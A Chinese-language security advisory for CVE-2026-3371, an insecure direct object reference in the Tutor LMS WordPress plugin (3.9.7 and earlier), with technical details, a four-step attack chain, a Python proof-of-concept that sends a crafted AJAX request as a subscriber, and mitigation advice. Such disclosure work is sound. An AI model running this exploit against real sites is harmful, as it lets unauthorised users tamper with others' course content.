IPBUF安全漏洞报告
English
CVE-2026-3371 CVSS 4.3 中危

CVE-2026-3371 Tutor LMS不安全的直接对象引用漏洞

披露日期: 2026-04-11

漏洞信息

漏洞编号
CVE-2026-3371
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS (WordPress Plugin)

相关标签

IDORWordPressTutor LMS权限绕过CVE-2026-3371

漏洞概述

WordPress插件Tutor LMS在3.9.7及以下版本中存在IDOR漏洞。由于缺少授权检查,低权限用户可通过AJAX请求修改课程内容排序,分离或重新分配任意课程。

技术细节

该漏洞源于插件中的`save_course_content_order()`私有方法在处理AJAX请求时未进行充分的权限验证。`tutor_update_course_content_order`处理程序无条件调用此方法来处理攻击者提供的`tutor_topics_lessons_sorting` JSON数据。尽管处理程序的其他分支包含`can_user_manage()`检查,但该特定调用路径绕过了所有权或能力验证。这使得拥有Subscriber及以上权限的经过身份验证的攻击者,可以通过发送特制的AJAX请求,操纵主题和课程ID,从而将课程从主题中分离、重新排序课程内容或将课程重新分配给任何主题,包括管理员拥有的课程。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者在目标WordPress站点注册一个账户,获得Subscriber(订阅者)级别的低权限。
STEP 2
步骤2:枚举目标ID
攻击者浏览公开课程或通过其他方式获取目标课程的Topic ID和Lesson ID。
STEP 3
步骤3:构造恶意请求
攻击者构造POST请求发送至`/wp-admin/admin-ajax.php`,动作设为`tutor_update_course_content_order`,并在`tutor_topics_lessons_sorting`参数中填入想要修改的ID关系。
STEP 4
步骤4:执行攻击
发送请求,由于后端缺少权限校验,服务器接受请求并修改数据库中的课程排序和归属关系。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: Tutor LMS < 3.9.7 - IDOR via AJAX Handler # Date: 2026-04-11 # Exploit Author: Analyst # Vulnerable Version: <= 3.9.7 # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Replace with a valid authenticated cookie of a subscriber user cookie = {"wordpress_logged_in_xxxxx": "your_cookie_value"} # Payload to reassign lessons to different topics or reorder them # topic_id and lesson_id must be valid IDs existing in the database payload_data = { "action": "tutor_update_course_content_order", "tutor_topics_lessons_sorting": [ { "topic_id": 1, # Target Topic ID "lesson_ids": [10, 20, 30] # Manipulated Lesson IDs order } ] } try: response = requests.post(target_url, data=payload_data, cookies=cookie) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] Error: {e}")

影响范围

Tutor LMS <= 3.9.7

防御指南

临时缓解措施
如果无法立即升级,建议暂时限制非管理员用户对WordPress后台AJAX接口的访问权限,或使用Web应用防火墙(WAF)拦截针对`tutor_update_course_content_order`动作的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表